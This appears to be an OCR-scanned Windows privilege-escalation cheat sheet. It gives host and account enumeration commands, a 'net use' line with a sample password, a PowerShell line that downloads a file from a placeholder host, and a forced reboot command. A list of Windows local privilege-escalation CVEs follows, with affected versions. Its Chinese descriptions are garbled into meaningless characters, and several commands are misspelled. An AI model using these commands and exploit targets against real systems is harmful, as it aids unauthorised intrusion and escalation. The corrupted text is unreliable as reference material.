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systeminfo
whoami
whoami /priv
ipconfig
ipconfig /displaydns
route print
arp -a
hostname
net user
net user UserName
net use \SMBPATH Pa$sw0rd /u:UserName
net localgroup
net localgroup GROUP
net view \127.0.0.1
net session
netsh firewall show config
DRIVERQUERY
tasklist /svc
net start
dir /s foo
dir /s foo == bar
sC query
sc gc ServiceName
shutdown /r /t 0
type file.tut
icacls "C:\Example”
wmic gfe get Caption,Description,HotFixlD,InstalledOn

(New-Object
System.Net.WebClient).DownloadFile("http://host/file”,"C:\LocalPath")

accesschk.exe -qwsu “Group”
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CVE-2021-33739 [Microsoft DWM XU EERFEFHRIF] (Windows 10. 20)
CVE-2021-1732 [Windows Win32k #&AUKIH] (Windows 10, 2019/20H2)
CVE-2020-0787 [Windows JG & & AefE 4% 1EAURTA ] (Windows 7/8/10.
2008/2012/2016/2019)

CVE-2020-0796 [Microsoft JRF#HMHEEI 3.1.1 (SMBv3) WHilAbERte R
7 R — NS HAT IR, Bl “Windows SMBv3 /i /AR 5% 2 FE ARG $AT
JRIH”1 (Windows 1903/1909 )

CVE-2019-1458 [ Win32k ATk IEMALIE NN %, Windows FAFE—
AMEBURTHFIR ] (Windows 7/8/10/2008/2012/2016)

CVE-2019-0803 [Win32k ZHAETCIEIERALIE ALE TINS5, windows HEFEFRR
JWiA1 (Windows 7/8/10/2008/2012/2016/2019)

CVE-2018-8639 [Win32k ZHAFTILIERAIEE NN RIS, Windows HHAFTEFRMN
JWilE] (Windows 7/8/10/2008/2012/2016)

CVE-2018-1038 [Windows WZ#EMIJEI] (Windows 7 SP1/Windows Server
2008 R2 SP1)

CVE-2018-0743 [Windows Subsystem for Linux Elevation of Privilege
Vulnerability] (Windows 10 hRA 1703/Windows 10 WA 1709/Windows
Server A 1709)

CVE-2018-8453 [Windows Win32k HAFHIRAURIF] (>= windows 8.1)
CVE-2018-8440 [Windows ALPC #HUEIH] (windows
7/8.1/10/2008/2012/2016)

MS17-017  [KB4013081] [GDI MM KAHMRIES] (Windows 7/8)
CVE-2017-8464  [LNK ZAEHSTAILEIN] (Windows 10 / 8.1 /

7/2016/2010/2008)
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https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

